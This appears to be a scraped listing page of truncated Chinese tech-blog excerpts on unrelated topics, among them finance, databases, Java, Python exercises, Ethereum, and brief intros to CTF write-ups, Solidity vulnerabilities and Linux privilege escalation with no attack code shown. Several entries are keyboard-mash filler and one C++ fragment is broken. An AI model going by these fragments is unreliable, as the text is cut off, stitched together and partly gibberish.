必然的高考加上偶然的分专业,本打算报国际金融的我进了浙江科技学院的信息学院,大一是信息大类,并没有细分专业。听说转专业很困难,因此本以为自己会拼命读好书然后再尽力转到经管学院的。结果在大一过了一个学期时,发…...

编程思想要靠有效的实践去获得
【来信】老师好。看到你为那么多迷茫的学生解答,就特别想和您说说我现在的状况,因为毕竟不是所有人都愿意耐心解答这些琐碎的问题。我现在大一,计算机系网络工程专业。现在还没有开始专业课,都是一些公共基础课。C就是其中一门。说…...

技术风险防控平台:打造金融交易系统的故障免疫能力
摘要:以“数字金融新原力(The New Force of Digital Finance)”为主题,蚂蚁金服ATEC城市峰会于2019年1月4日上海如期举办。分论坛上,蚂蚁金服高级技术专家王亚宏做了主题为《技术风险防控平台:打造金融交易系统的故障免疫能力》的…...

期货与期权(part5)--期货市场机制
学习笔记,仅供参考,有错必纠 摘自:《期权、期货及其他衍生产品》 期货市场机制 履约保证:针对违约风险标准化:增加流动性对冲平仓放杠杆(保证金)每日无负债结算交割制度头寸限制大户报告风险准备金期货合约条款 当开发一种新合约时,交易所必须详细注明双方协议中的具体条…...

数据湖之Hudi基础:入门介绍和编译部署
主要记录下Hudi的概述和打包编译等内容,方便参考 文章目录简介官网发展历史Hudi特性使用场景安装部署编译环境准备编译hudi1.源码包上传到服务器2.修改pom文件3.修改源码兼容hadoop34.手动安装kafka依赖(非必须)5.解决spark模块依赖冲突6.执行…...

合伙人退出机制如何设定
一、合伙人退出机制如何设定 合伙人退出机制: 退出条件在一定期限内(比如,一年之内),约定股权由创始股东代持。约定合伙人的股权和服务期限挂钩,股权分期成熟(比如4年)。股东中途退…...

机制
什么叫作机制 机制一词最早源于希腊文。原指机器的构造和动作原理。生物学和医学通过类比借用此词。生物学和医学在研究一种生物的功能(例如光合作用或肌肉收缩)时,常说分析它的机制。机制这个概念用以表示有机体内发生生理或病理变化时,各器官之间相互联系、作用和调节的方式。…...

CAS机制是什么?
首先我们需要了解为什么有CAS机制的存在?那我们就不得不先知道互斥同步和非阻塞同步。 互斥同步 互斥同步面临的主要问题是进行线程阻塞和唤醒带来的性能开销,因此这种同步也叫阻塞同步。互斥同步属于悲观的并发策略,其总是认为只要不做同步…...

沪深证券交易机制概述
证券交易机制是证券市场具体交易制度设计的基础,如上海证券交易所和深圳证券交易所的集合竞价和连续竞价,其设计依据就是定期交易和连续交易的不同机制; 而上海证券交易所固定收益平台交易中一级交易商提供的双边报价,就采用了报…...

C语言肥胖指数,身体肥胖指数在上海地区中国人中的应用初探
摘要:目的探讨身体肥胖指数(BAI)在上海地区中国人中的适用性.方法选取2013年至2014年上海地区年龄20~81岁人群487人为研究对象.分别以总组(全部研究对象),性别,年龄,体质指数(BMI)进行分组分析.采用磁共振成像技术(MRI)测量腹部皮下脂肪面积(SA),腹内脂肪面积(VA)及…...

CSDN网站勋章获取介绍
持之以恒:已下线,目前无法获取 签到勋章:签到新秀、签到达人、签到王者都已下线,目前无法获取 分享勋章:分享学徒、分享小兵、分享达人、分享精英、分享宗师、分享王者、至尊王者都已下线,目前无法获取 …...

内存映射MMAP和DMA【转】
转自:http://blog.csdn.net/zhoudengqing/article/details/41654293 版权声明:本文为博主原创文章,未经博主允许不得转载。 这一章介绍Linux内存管理和内存映射的奥秘。同时讲述设备驱动程序是如何使用“直接内存访问”(DMA&#…...

基于mips架构的uboot 启动流程 (2)
对于计算机系统来说,从开机上电到操作系统启动需要一个引导过程,这个引导程序就叫作 Bootloader 。 Bootloader 是在操作系统运行之前执行的一段小程序。通过这段小程序,我们可以初始化硬件设备、建立内存空间的映射表,从而建立适…...

第六章 PL/SQL与Oracle间交互
第六章 PL/SQL与Oracle间交互一、PL/SQL支持的SQL一览 PL/SQL扩展了SQL,变得更加强大和易用。我们可以用PL/SQL灵活安全地操作Oracle数据,因为它支持所有的SQL数据操作语句(除 了EXPLAIN PLAN),事务控制语句,函数,伪列…...

Ardupilot Pre-Arm安全检查程序分析
目录 目录摘要第一:Pre-Arm简介第二:Pre-Arm报错需知 1.使用前准备 使用Pre-Arm信息分析不能解锁原因:2.解锁失败的原因3.解锁失败的原因(自己对照官网进行翻译)#1解锁前安全检查#2采用GCS识别是什么导致的Pre-Arm报错#3错误信息 RC故障(即发射机/接收机故障):(2)气压…...

以太坊中常见的代码安全问题以及在Ethernaut平台解题的演示
以太坊中常见的代码安全问题 原文链接:郭老师备课资料 下面列出了已知的常见的 Solidity 的漏洞类型: Reentrancy - 重入Access Control - 访问控制Arithmetic Issues - 算术问题(整数上下溢出)Unchecked Return Values For Lo…...

python ATM + 购物车
一、项目介绍 ATM 购物商城程序其实是通过模拟银行ATM机功能以及电商平台<购物商城程序>功能的实现,将前面大部分所学的知识点串联起来, 更好的去巩固python基础。这也是在学习python这门语言的第一个程序。项目需求如下:- 额度 15000…...
如何避免被以太坊天价 gas 费 PUA?
近日,随着 ETH 价格突破年内新高一度甚至超过 400 美元(截稿日前价格),ETH2.0 多客户端测试网 Medalla 即将启动,Yield Farming 热潮持续火爆等多重利好,让很多重仓 ETH 的朋友喜笑颜开的同时,涨…...

Scanner类的close()用法的注意点
在写练习的时候碰到了NoSuchElementException异常,编译器显示是Scanner类的使用产生的异常。 代码如下: package javaExp5; import java.util.Vector; import java.util.Scanner; public class Exp56 {public static void main(String []args){Scanner…...

FAST-LIO2:快速且直接的激光雷达与惯导里程计
1. 摘要 本文介绍了FAST-LIO2:一种快速、稳健且通用的激光惯性里程计框架。FAST-LIO2建立在高效的紧耦合迭代卡尔曼滤波器的基础上,有两个关键的创新之处可以实现快速、稳健和准确的激光雷达导航(和建图)。第一个是不提取特征直接…...

python模拟银行_python练习之银行模拟系统
创建 atm.pyfromcard import Cardfromuser import Userimport randomclass Atm(object):def __init__(self):self.user_dict{}def print_ui(self):print("".center(50, "*"))print("*".ljust(16, " "), "开户(1) 查询(2)", …...

Python2中使用input出现的NameError: name ‘***‘ is not defined问题原因及解决办法
上Python官网上查询了一下文档,原因定位如下: Python2中对于input函数来说,它所希望读取到的是一个合法的Python表达式,我的Python版本为2.7,因此出现这个问题,而在Python 3中,input默认接受的是…...

BUUCTF-WEB(1-16)
BUUCTF-WEB(1-16) 1.[HCTF 2018]WarmUp 根据点开靶机时的一个提示:代码审计,可知主要考察代码审计,在点开靶机之后,出现了一个滑稽表情,右键检查网页源码,发现在图片的上方有个…...

mongodb java 日志分析_如何禁用mongoDB Java驱动程序日志记录?
我正在尝试禁用的日志输出mongo-java-driver-3.0.0。在加载mongo驱动程序之前,我曾尝试在应用程序的开头设置这些设置,但没有帮助。// Enable MongoDB logging in generalSystem.setProperty("DEBUG.MONGO", "false");// Enable DB …...

php curl返回body,获取CURL中返回的body内容
在 PHP 使用 CURL 来做与远程 API 的数据交互,在某些情况下,curl_exec (或 curl_multi_getcontent)返回中会出现 header 和 body 的混合体,最近在做 PHP 与 NodeJs 写的 webApi 时就遇到这种情况,解决的方法就只能想办法将 headle…...

php字符串处理函数
1 <?php2 // ----------------------------------------------------------------------3 // | EBACERA [ WE CAN DO IT JUST THINK IT ]4 // ----------------------------------------------------------------------5 // | Copyright (c) 2016 http://www.ebacera.com A...

asd f sdfsd f afsda fsdasC ASDF
SDF SDF SDF SDF SDF SDAF SDF GDF GDF DFG DFG DFG DG D...

adf sdfsd
sdf sdfsdfrtyhdfh dfhgfdhg sdfsdfrtyhdfh dfhgfdhg sdfsdfrtyhdfh dfhgfdhg sdfsdfrtyhdfh dfhgfdhg sdfsdfrtyhdfh dfhgfdhg sdfsdfrtyhdfh dfhgfdhg sdfsdfrtyhdfh dfhgfdhg sdfsdfrtyhdfh dfhgfdhg sdfsdfrtyhdfh dfhgfdhg sdfsdfrtyhdfh dfhgfdhg sdfsdfrtyh...

asdfsdfsd
#include <iostream> #include <map> #include <stack> using namespace std; int partaction(int *a,int left,int right) { int tmpa[left]; while(left<right) { while(left<right&&a[right]>tmp) { right--; } if(righ...

sdfsd
sdafsdf...

Linux三剑客(grep、sed、awk)
Linux三剑客 正则表达式 正则表达式(regular expression)? 匹配有规律的东西:手机号、身份证号、匹配日志; 使用一些符号表达一些重复出现、大小写、开头/结尾含义; 应用场景 Linux三剑客使用,开发语言&a…...

神秘的控制-到底谁在操作你?
有好友说“认知否定”这种攻击方式太复杂了,几近于玄学,让我详细讲讲进行认知攻击有什么通俗易懂的东西。因此为了满足好友的好奇,就尝试写篇小的科普文章来介绍一些小的知识点,说的不对的地方也欢迎指正。 1.首先讲讲标题所说的神…...

【JAVA SE】第七章 继承和多态
第七章 继承和多态 文章目录第七章 继承和多态一、继承1.概念2.继承的特性2.继承关键字3.构造器4.子类重写父类方法的规则二、多态1.概念2.多态的优点3.多态存在的三个必要条件4.虚函数5.多态的实现方式6.什么时候创建多态对象一、继承 1.概念 继承是java面向对象编程技术的一…...

计算机考试前的心情作文,考试要写在考试时紧张的作文(共七篇)
紧张的考试 海盐县沈荡小学六(3)班“叮铃铃,叮铃铃”上课了,王老师把卷子传下来,准备进行考试。我匆匆忙忙地把课本放好,试卷早已传下。我一看到试卷,马上傻了眼,呆若木鸡。咦,怎么有几题都没见过呀&…...

负数(一):猎人的过冬“法宝”
【导语】:用未来的“获得”去换取现在的“所需”,此刻得到的不只是“所需”还有“负债”,用什么数字来表示负债呢?我们可以用上次讨论的自然数来表示拥有的苹果数量,例如,我有5个苹果。但是如果我问别人借了…...
在“打破次元壁”这件事上,以太坊做得超乎你想象
原文来自 Decrypt 作者 | Robert Stevens译者 | 秦晓峰出品 | Odaily星球日报(ID:o-daily)以太坊是目前最大的用于去中心化应用程序(DAPP)的区块链网络,也是市值第二的加密货币。自 2015 年诞生以来&#…...
Java封装、继承、多态
继承的概念 继承是java面向对象编程技术的一块基石,因为它允许创建分等级层次的类。 继承就是子类继承父类的特征和行为,使得子类对象(实例)具有父类的实例域和方法,或子类从父类继承方法,使得子类具有父…...

JS实现新闻播报滚动效果
效果图 1. 横向滚动播报 2. 纵向滚动播报 横向滚动 <template><div class"wrapper"><div class"top"><div class"top-cont" ref"top_cont"><div class"begin" ref"top_begin&q…...

Python编程基础与应用(陈波著)微实践
微实践1——鸡兔同笼 有若干只鸡兔同在一个笼子里,从上面数,有35个头,从下面数,有94只脚。问笼中各有多少只鸡和兔? 解决方案:iHead 35 iFeet 94 a iFeet - iHead*2 iRabbits a/2 iChicken iHead - iR…...

《我是一只IT小小鸟》连载之五——掉进读书的兔子洞(1)
/*本期开始连载徐宥的故事。他目前在美国留学,是一个计算机专业在读Ph.D.,在网上开有博客——4G spaces,并写下了《编程珠玑番外篇》等一系列精彩的文章。*/ 掉进读书的兔子洞 徐宥 大学前: 数理化 好老爸 虽然标题是"我…...

java基础----(三大特性:封装,继承,多态)
封装 将对象的转态信息隐藏在对象内部,不允许外部程序直接访问,而是通过该类提供的方法来实现对内部信息的访问和操作。 封装的好处: 隐藏类的实现细节使用者只能通过事先预定的方法来访问数据,从而可以在该方法里加入控制逻辑…...

GC标记-清除算法
GC标记-清楚算法 面试官:什么是GC标记-清除算法?我:就是由标记阶段和清除阶段组成的垃圾回收算法。面试官:然后呢?我: 我已经说完了啊。面试官:下一位。我: 我说错了吗?面试官:你没…...

day3 203移除链表元素 707设计链表 206反转链表
203 移除链表元素 定义一个虚拟头节点 这样子可以不用分开处理头结点 统一了写法 思路就是找到cur -> next -> val,借助前一个节点,直接连接到后一个 class Solution { public:ListNode* removeElements(ListNode* head, int val) {//new一个新指…...

2022年神仙打架,各家主机PC游戏厂商都拿出了招牌菜
此前,游戏新知曾报道过2022年值得关注的手游作品,有不少读者在文章评论区提出,2022年PC与主机上的新作品同样值得期待,因此游戏新知也对未来一年的PC与主机游戏作品做了盘点。 需要注意的是,这份名单并非涵盖了2022年…...

【MyBatis】| MyBatis核⼼配置⽂件详解
目录 一:MyBatis核⼼配置⽂件详解 1. Mybatis核心配置文件之多环境 2. Mybatis事务管理器 3. 对数据源的深度剖析 4. properties和mapper标签的配置和使用 一:MyBatis核⼼配置⽂件详解 (1)configuration:根标签&a…...

【英文】地名写法
https://wenku.baidu.com/view/97eb546f4a35eefdc8d376eeaeaad1f3469311d4.html 中文: 国省市 区路号 姓名 —————— 英文: 姓名 号路区 市省国 中文地名对应英文X室Room XX号(户)No.X36层36th FloorB座Tower B甲AX号楼Buil…...

中英文地址的写法(转贴)
中英文地址的写法:***室 / 房 RM. *** ***村(乡) *** Village ***号 No. *** ***号宿舍 *** Dormitory ***楼 / 层 *** /F ***住宅区 / 小区 *** Residential Quater 甲 / 乙 / 丙 / 丁 A / B / C / D ***巷 / 弄 *** Lane ***单元 Unit *** ***号楼 /…...

英文地址的书写
填写英文地址目前还是蛮需要的,综合网上文章和自己实际填写经验,整理如下: 把中国地址翻译成英文,有三种写法:英文书写、汉语拼音书写、英文和汉语拼音混合书写。要用哪种写法,要看你的应用! …...

更新日志写法
很多人写的更新日志要么不写,要么看不懂,严重影响了后续的测试、上线的通知、后期的维护查看,所以我把flyme的更新日志搬出来大家看看,每句话要做到言简意赅 新增 输入法 调整 emoji 表情进入一级入口,增加大量 emoji…...

引用地址的写法,同级目录,上级目录,下级目录
一般的话 ../ 代表上一级目录 ./代表同级目录 直接写img/aa.jpg代表同级目录 php中好像不能像asp那样用“/”表示根目录,代之以$_SERVER[DOCUMENT_ROOT],其它则相同:../表示向上一层。./表示当前层。假如现在a/b/c/s.php要调用根…...

Shell变量和引用
变量的定义本质上讲,变量就是在程序中保存用户数据的一块内存空间,而变量名就是这块内存空间的地址在程序的执行过程中,保存数据的内存空间的内容可能会不断地发生变化,但是,代表内存地址的变量名却保持不变变量的命名…...

腾讯云轻量应用服务器和CVM云服务器比为什么这么便宜?
最近需要一台服务器,发现腾讯云轻量应用服务器很便宜,为什么这么便宜?腾讯云轻量应用服务器和CVM云服务器比为什么这么便宜?轻量服务器公网带宽起步很高,4M起,感觉配置很高呀,难道性能不行么&am…...

C语言枚举—事件提醒程序 (time函数)
编写程序,实现一个事件提醒程序,如果今天是周几,完成什么事情… 这里需要用time函数获取当前时间,或者会用到localtime()函数 (1) time的原型是: #include <time.h>time_t time( time_t *time );功能࿱…...

小程序二:不支持打开非业务域名https://xxx.xx.com
原因:由于在小程序项目中,源H5网页代码里通过 <web-view> 嵌入或引用了https://xxx.xx.com域名,导致审核失败,因为:微信公众平台如果是开通的个人账号,那他不支持打开因为:需要已经认证的企业号和服务…...

PyTorch机器学习与深度学习技术方法与案例实践应用
PyTorchPyTorch是一个开源的Python机器学习库,基于Torch,用于自然语言处理等应用程序。2017年1月,由Facebook人工智能研究院(FAIR)基于Torch推出了PyTorch。它是一个基于Python的可续计算包,提供两个高级功…...

Go项目(幂等性)
文章目录简介服务雪崩幂等性unique indextoken锁小结简介 前一篇为了避免因消息的重复发送导致一个订单的库存归还多次,我们新建了一张表 StockSellDetail其实这里涉及到幂等性,但在此之前,先来了解一些微服务中的常见问题 注:微…...

Python-模块和包
1.模块 概念 在Python中,模块是一种组织Python代码的方式。一个模块(py文件)可以包含多个函数、类、变量等Python对象,可以被其他Python程序导入和使用。Python标准库中包含了很多有用的模块,如math、random、os等。此外,Python还…...

Spring 远程加载配置
本文以携程的Apollo和阿里的Nacos为例。 pom中引入一下依赖: <dependency><groupId>com.ctrip.framework.apollo</groupId><artifactId>apollo-client</artifactId><version>2.0.1</version></dependency><depe…...

3月第3周榜单丨飞瓜数据B站UP主排行榜(哔哩哔哩平台)发布!
飞瓜轻数发布2023年3月13日-3月19日飞瓜数据UP主排行榜(B站平台),通过充电数、涨粉数、成长指数三个维度来体现UP主账号成长的情况,为用户提供B站号综合价值的数据参考,根据UP主成长情况用户能够快速找到运营能力强的B…...

dbms_application_info
今天在查看的时候发现,原有的存储过程中添加了很多dbms_application_info函数的调用,不知道是干什么的,查了下相关资料: dbms_application_info提供了通过v$session跟踪脚本运行情况的能力,该包允许我们在v$session设…...

网络同步——帧同步和状态同步解析
目录 概述 帧同步概念 状态同步概念 对比 概述 同步就是要多个客户端表现效果是一致的,而且对于大多数的游戏,不仅仅要表现一致,还要客户端和服务器的数据也是一致的。所以同步是个网络游戏概念,只有网络游戏才需要同步&…...

The FLARE challenge中的DG Tricks
在数据预处理过程中,大多数顶级团队将强度值裁剪到特定范围内,然后以单位标准差(表6预处理CI & N)将其归一化为[ 0 , 1]或零均值,从而减小了不同个例和中心之间的强度方差。重采样被顶级球队广泛使用,但采样策略各不相同。一些…...

docker-compose 搭建RocketMQ 5.1.0 集群(双主双从模式) | Spring Cloud 28
一、前言 关于更多RocketMQ的介绍请见官网:https://rocketmq.apache.org/zh/docs/ 网上关于Docker搭建RocketMQ单机&集群的版本一般都是4.X。关于最新的5.X版本,官方给出的示例都是基于物理机&虚拟机实现,不便于我们我们日常开发使…...

论文解读:ChangeFormer | A TRANSFORMER-BASED SIAMESE NETWORK FOR CHANGE DETECTION
论文地址:https://arxiv.org/pdf/2201.01293.pdf 项目代码:https://github.com/wgcban/ChangeFormer 发表时间:2022 本文提出了一种基于transformer的siamese网络架构(ChangeFormer),用于一对共配准遥感图…...

工程师你知道PCB的蛇形走线咋搞吗?
提起蛇形线,很多PCB工程师都不会陌生,蛇形线是PCB布线环节时经常用到的一种走线方式,主要目的是为了调节延时、满足系统时序设计要求,然而很多工程师经常经常滥用蛇形线,导致信号质量降低,板子整体上没那么…...

Vue入门+DRF项目实战-01-引入REST Framework
1. 引入Django REST framework 在本章中,我们要大家介绍为什么学习Django REST framework,它能帮助我们做哪些事情。 课程思路: 我们从分析现在流行的前后端分离Web应用模式说起,然后介绍如何设计REST API,通过使用Django来实 现一个REST API为例,明确后端开发REST API要做…...

Matter名词解释
Access Control List:访问控制列表,类似一个白名单,可以用来方控制访问簇元素Administrator:管理员,对另一个节点的访问控制列表具有管理权限的节点Advertising Data:广播包数据,主要指的是通过…...

ROS安装官方教程,以及如何解决安装过程中的报错
本文参考ROS官方教程:http://wiki.ros.org/melodic/Installation/Ubuntu 安装 ros melodic,并解决了安装过程中出现的报错 我们正在为以下几个Ubuntu平台构建Debian软件包。这些软件包比基于源代码的构建更高效,也是我们推荐在Ubuntu上使用的…...

【LeetCode】剑指 Offer 33. 二叉搜索树的后序遍历序列 p179 -- Java Version
题目链接:https://leetcode.cn/problems/er-cha-sou-suo-shu-de-hou-xu-bian-li-xu-lie-lcof/ 1. 题目介绍(33. 二叉搜索树的后序遍历序列) 输入一个整数数组,判断该数组是不是某二叉搜索树的后序遍历结果。如果是则返回 true&am…...

回溯算法(排列/组合/子集)
排列 无重复元素全排列 题目链接: 全排列https://leetcode.cn/problems/permutations/ 给定一个不含重复数字的数组 nums ,返回其 所有可能的全排列 示例: 输入:nums [1,2,3] 输出:[[1,2,3],[1,3,2],[2,1,3],[2,…...

安卓逆向高阶之frida hook java层
文章目录1. 初次hook Java 层函数2. hook 修改函数返回值3. hook调用静态函数和非静态函数4. hook设置成员变量5. hook内部类6. hook 动态加载dex7. 枚举class1. 初次hook Java 层函数 登录走else if 逻辑,hook a 方法 function hook_java() {Java.perform(functio…...

unity的C#学习——浮点常量、字符常量和字符串常量
浮点常量 在C#中,一个浮点常量是由整数部分、小数点、小数部分和指数部分组成。浮点常量可以使用以下几种表示形式(大写与小写效果等价): 十进制表示法:使用小数点来表示浮点数(默认为double类型ÿ…...

同样是软件测试岗位,年薪只比我大5岁,凭什么他能年薪50W?
相信大家听过网上流传的一句话: 35岁前当经理,35岁后开滴滴。 疫情当下,各大互联网都在想办法“活下去”,各种花样裁员也已经不足为奇,很多软件测试工程师就开始焦虑这个问题:在这个行业真的干到35岁就干…...

NPDP|来聊聊To B产品经理都应该具备的9个边界能力
面对市场的时候,给予To B产品经理的反馈却是繁杂且滞后的,很多无效的反馈,将直接干扰、甚至破坏产品的发展决策。 这时,To B产品经理的“边界能力”就会显得非常重要。"边界能力”简单说,就是什么该做?…...

【git报错】unable to resolve reference ‘ORIG_HEAD‘: reference broken
【git报错】unable to resolve reference ‘ORIG_HEAD’: reference broken git报错::fatal: update_ref failed for ref ‘ORIG_HEAD’: cannot lock ref ‘ORIG_HEAD’: unable to resolve reference ‘ORIG_HEAD’: reference broken 这个错误通常意…...

【算法】动态规划复习汇总
一、概述 1.1 基本概念 动态规划主要用于解决多段决策最优化的问题。 动态规划通常用来解决这样的一类问题:该问题有n个输入,问题的解由这n个输入的一个子集构成,这些子集必须满足某些事先给定的约束条件,满足约束条件的子集称…...

react中渲染企业微信的表情
前提:后端返回的的表情是解析成字符串的这种,形如:[微笑]、[旺财]等的 大致思路: 需要一张完整表情包的精灵图,用正则去匹配[***]这种文本再写个json对照表,匹配到的再用json去匹配对应的style样式。利用…...

Jetpack系列之Paging2.0 分页加载
(一)概述 Paging是Jetpack中的一个数据分页加载组件,核心成员有 DataSource, PagedList, PagedListAdapter。 // 下拉刷新 api com.scwang.smartrefresh:SmartRefreshLayout:1.1.0 api com.scwang.smartrefresh:SmartRefreshHeader:1.1.0 …...

线性回归-线性神经网络
线性神经网络 注: 该文章为作者学习深度学习笔记,共参考以下两大开源深度学习资料: 深度学习(花书) https://github.com/exacity/deeplearningbook-chinese动手学习深度学习(李沐) https://zh-v2.d2l.ai/ 线性回归 线性回归是一种常用的统计分析方法,它可以用来研究一个或多个…...

矿泉水瓶装大米,便利店能增收300万
矿泉水瓶装大米,便利店能增收300万 把大米装进矿泉水瓶,一瓶卖到60块,是同行的十倍,放进便利店,一年能卖300万 梦龙商业案例分析,带你了解商业背后的秘密 他针对的是单身人士和小情侣,这群人…...

Nginx学习(5)—— 基本结构(源码)
文章目录Nginx源码学习基本数据结构1、字符串结构:ngx_str_t2、类似资源管理的结构:ngx_pool_t3、Nginx数组结构:ngx_array_t4、哈希表结构:(1) ngx_hash_t:普通哈希表(2) ngx_hash_wildcard_t:通配符域名哈…...

使用configmap形式持久化grafana-dashboard
安装部署请参考:k8s部署prometheus 一、下载dashboard的json文件 先去官网找到喜欢的dashboard 官网地址:https://grafana.com/grafana/dashboards/?pghp&plcmtlt-box-dashboards 这个地址有很多的dashboard,根据需要去搜索即可 把js…...

PPT 转 video和gif
制作需要组合的动画页面 先绘制需要动画的图,每页一个画面。可以调整页面,让页面与图形同样大小查不多,调整方法如下图: PPT转video Microsoft PowerPoint 已经提供了导出视频的功能,然后选择视频质量,…...

【分割数据集操作集锦】毕设记录
1. 按要求将CSV文件转成json文件 有时候一些网络模型的源码会有data.json这样的文件里面存放了训练集和验证集的信息,这里我们根据csv格式的表格生成json文件。 以下代码有下述功能: 选出同时出现在csv文件里和训练集文件夹中同名的文件按照自己需要加…...

win下pytorch安装—cuda11.6 + cudnn8.4 + pytorch1.12 + tensorRT(pycuda)
安装目录一、cuda安装1.1、cuda版本选择1.2、下载安装二、cudnn安装三、pytorch安装四、tensorRT8.X安装写在前面 博主这里装的是cuda11.7,最后一步tensorRT运行的时候有个pycuda的安装,它的最新版本只支持到cuda11.6,所以博主最后是又把cuda…...

Java三年经验---模拟面试--面经
1. 做一下自我介绍吧,你的XXX项目说一下?2.你这个线程池的核心线程数怎么设置的?主要考虑啥?CPU密集型: 核心线程数 CPU核数 1 IO密集型: 核心线程数 CPU核数 * 2主要需要考虑的是 是否是…...

城乡供水一体化平台-助力乡村振兴建设
城乡供水一体化管理系统建设方案城乡供水一体化管理系统是运用云计算、大数据等信息化手段,借助在线监测设备,并依托“供水信息化平台”,实时感知供水系统的运行状态,实现对农村供水工程远程监控、在线监测、实时预警、智慧监管。…...

macbook苹果电脑系统使用“终端”远程登录linux主机
登录mac系统后,依次打开顶部菜单,“前往” -> “应用程序” -> “实用工具” -> “终端”,如下图: 在打开的终端页面,输入如下代码: ssh root服务器IP地址 注:上边代码为固定格式&am…...

微信小程序wx.canvasToTempFilePath压缩上传图片,ios压缩成功但是数据sm2加密后无法发起请求,安卓一切正常
问题以及解决: 吐槽遇到的问题~ 在写微信小程序的时候,采用wx.canvasToTempFilePath压缩图片且上传的时候,安卓一切正常,我在开发工具上也一切正常,偏偏ios上就不正常,不正常不是指压缩失败,而…...

基于jsp+ssm+springboot的网上购物商城【毕业论文+源码】
摘 要随着科学技术的飞速发展,社会的方方面面、各行各业都在努力与现代的先进技术接轨,通过科技手段来提高自身的优势,网上商城购物系统当然也不能排除在外。网上商城购物系统是以实际运用为开发背景,运用软件工程原理和开发方法&…...

linux提权总结
linux web到rootlinux 本地到root:关于linux提权一般来说在webshell能运行的,到本地提权应该也可以运行,只要有一定的权限,一些方法在webshell上也可以运行,只是总结了一些常见的提权方法一般来说,我自己认为提权思考的…...

大数据Doris(一):深入了解Apache Doris
深入了解Apache Doris一、Apache Doris介绍Apache Doris 是一个基于 MPP 架构的高性能、实时的分析型数据库,以极速易用的特点被人们所熟知,仅需亚秒级响应时间即可返回海量数据下的查询结果,不仅可以 支持高并发的点查询场景,也能…...

设置浏览器横屏可行性测试,附带浏览器全屏功能
输入法问题: 1、QQ浏览器、UC浏览器可通过标签设置横屏(这种模式下输入法也是横屏状态) <meta namefull-screen contenttrue /><meta namex5-fullscreen contenttrue /><meta name360-fullscreen contenttrue /><meta n…...

代码随想录复习——单调栈篇 每日温度 下一个更大元素12 接雨水 柱状图中最大的矩形
739.每日温度 每日温度 暴力解法双指针 def dailyTemperatures(self, temperatures: List[int]) -> List[int]:n len(temperatures)res [0] * nfor i in range(n):for j in range(i,n):if temperatures[j] < temperatures[i]: continueelse: res[i] j-ibreakreturn …...

【Linux】基础IO(一) :文件描述符,文件流指针,重定向
🍎作者:阿润菜菜 📖专栏:Linux系统编程 码字不易,请多多支持😘😘 这是目录重新认识文件系统内部的文件操作我们C语言的文件操作系统内部的文件操作OS一般会如何让用户给自己传递标志位的&#x…...

Qt界面编程(一)—— Qt概述、Qt的安装和环境变量的配置
1. Qt概述1.1 什么是QtQt是一个跨平台的C图形用户界面应用程序框架。它为应用程序开发者提供建立图形界面所需的所有功能。它是完全面向对象的,很容易扩展,并且允许真正的组件编程。1.2 Qt的发展史1991年Qt最早由芬兰奇趣科技开发1996年进入商业领域&…...

背包问题 笔记
背包问题 背包问题是「动态规划」中十分经典的一类问题,背包问题本质上属于组合优化的「 NP 完全问题」。 只能通过 「穷举」+「验证」 的方式进行求解。 「背包问题」 泛指一类「给定价值与成本」,同时「限定决策规则」,如何实现价值最大化的问题。 一、01 背包 「01背…...

TCP 协议
一、TCP 协议概念 TCP即传输控制协议(Transmission Control Protocol)是一种面向连接的、可靠的、基于字节流的传输层通讯协议。 TCP是为了在不可靠的互联网上提供可靠的端到端字节流而专门设计的一个传输协议。 互联网与单个网络有很大的不同&#x…...

SpringBoot——SpringBootWeb项目
基于SpringBoot进行web应用程序开发 入门案例 开发步骤 第一步 选择Spring Initializr项目进行如下勾选创建 注意:此处的Springboot的版本如果是3.0以上的话,jdk版本的要求最低是17 勾选springweb依赖 第二步 先删除多余的文件和文件夹 当前的目录机构下有一个…...

MNN使用
前提:github下载源码编译相关工具 1.模型转换 (1)参数说明 Usage: MNNConvert [OPTION...] -h, --help Convert Other Model Format To MNN Model -v, --version 显示当前转换器版本 -f, --framework arg 需要进行转换的模型类型, ex: [TF,CAFFE,ONNX,TFLITE,MNN,TORCH, JSON]…...

从0开始自制解释器——添加对乘除法的支持
在上一篇中,我们实现了对减法的支持,并且介绍了语法图。针对简单的语法进行描述,用语法图描述当然是没问题的。但是针对一些复杂的语法进行描述,如果每个部分都通过语法图来描述就显得有些繁琐了。这篇我们先介绍另一种描述语法的…...

746. 使用最小花费爬楼梯
文章目录题目Code题目 给你一个整数数组 cost ,其中 cost[i] 是从楼梯第 i 个台阶向上爬需要支付的费用。一旦你支付此费用,即可选择向上爬一个或者两个台阶。 你可以选择从下标为 0 或下标为 1 的台阶开始爬楼梯。 请你计算并返回达到楼梯顶部的最低…...

蓝桥杯三月刷题 第19天
文章目录💥前言😉解题报告💥灌溉🤔一、思路:😎二、代码:💥前言 刷刷刷 😉解题报告 💥灌溉 biu~ ☘️ 题目描述☘️ 🤔一、思路: (1࿰…...

Java基础知识之Map的使用
一、Map介绍 Map是用于保存具有映射关系的数据集合,它具有双列存储的特点,即一次必须添加两个元素,即一组键值对><Key,Value>,其中Key的值不可重复(当Key的值重复的时候,后面插入的对象会将之前插…...

九龙证券|家居社零消费回暖 坚定全年复苏主线
机构指出,保交给方针落地,竣工提速,家居消费全体获益。保交给方针逐步落地对未来两年家居消费需求都会有较强支撑,跟竣工直接相关的大宗事务率先恢复,家居零售事务也随之改进。经历一年调整,零售端进入压力…...

JavaScript 隐式转换原理
文章目录JavaScript 隐式转换原理原理隐式转换规则案例 运算符至少一个string类型 - * / 都会转为数字 双等于< > 比较顺序数组、对象JavaScript 隐式转换原理 原理 JavaScript 中的隐式数据转换是指在表达式中使用不同类型的值时,JavaScript 引擎自动将其中…...

Application 初始化流程
Application 的 onCreate 和 attachBaseContextApplication 的 onCreate 和 attachBaseContext 是 Application 的两个回调方法,通常我们会在其中做一些初始化操作。onCreate 和 attachBaseContext 顺序: Application 的 attachBaseContext 在 onCreate …...

Java培训班真的管用吗?Java零基础薪资待遇如何?
废话不多小白java学习分为两个途径:培训机构or自学!问题一:学java需要什么英语水平?学java需要什么基础呢?很多人说学习计算机之类的都需要很棒的英语基础,因为这些东西大部分一手资料都是英文的࿰…...

【设计模式】23种设计模式之初识
一、设计模式是什么? 定义: 是一套被反复使用、多数人熟知、经过分类编码、代码设计界经验的总结 通俗来讲: 我们工作环境中不断出现的问题,设计模式描述了解决该问题的核心方式,我们便可以使用这些已有解决方案&…...

ES-客户端
语言无关性 Java REST ClientJava APIPython APIGo API.Net APIPHP APIJavaScripts APIRuby APIPerl APIElandRustCommunity Contributed Clients Java API 生命周期(生卒年:ES 0.9 - ES 7.x) Java API使用的客户端名称叫TransportClient&a…...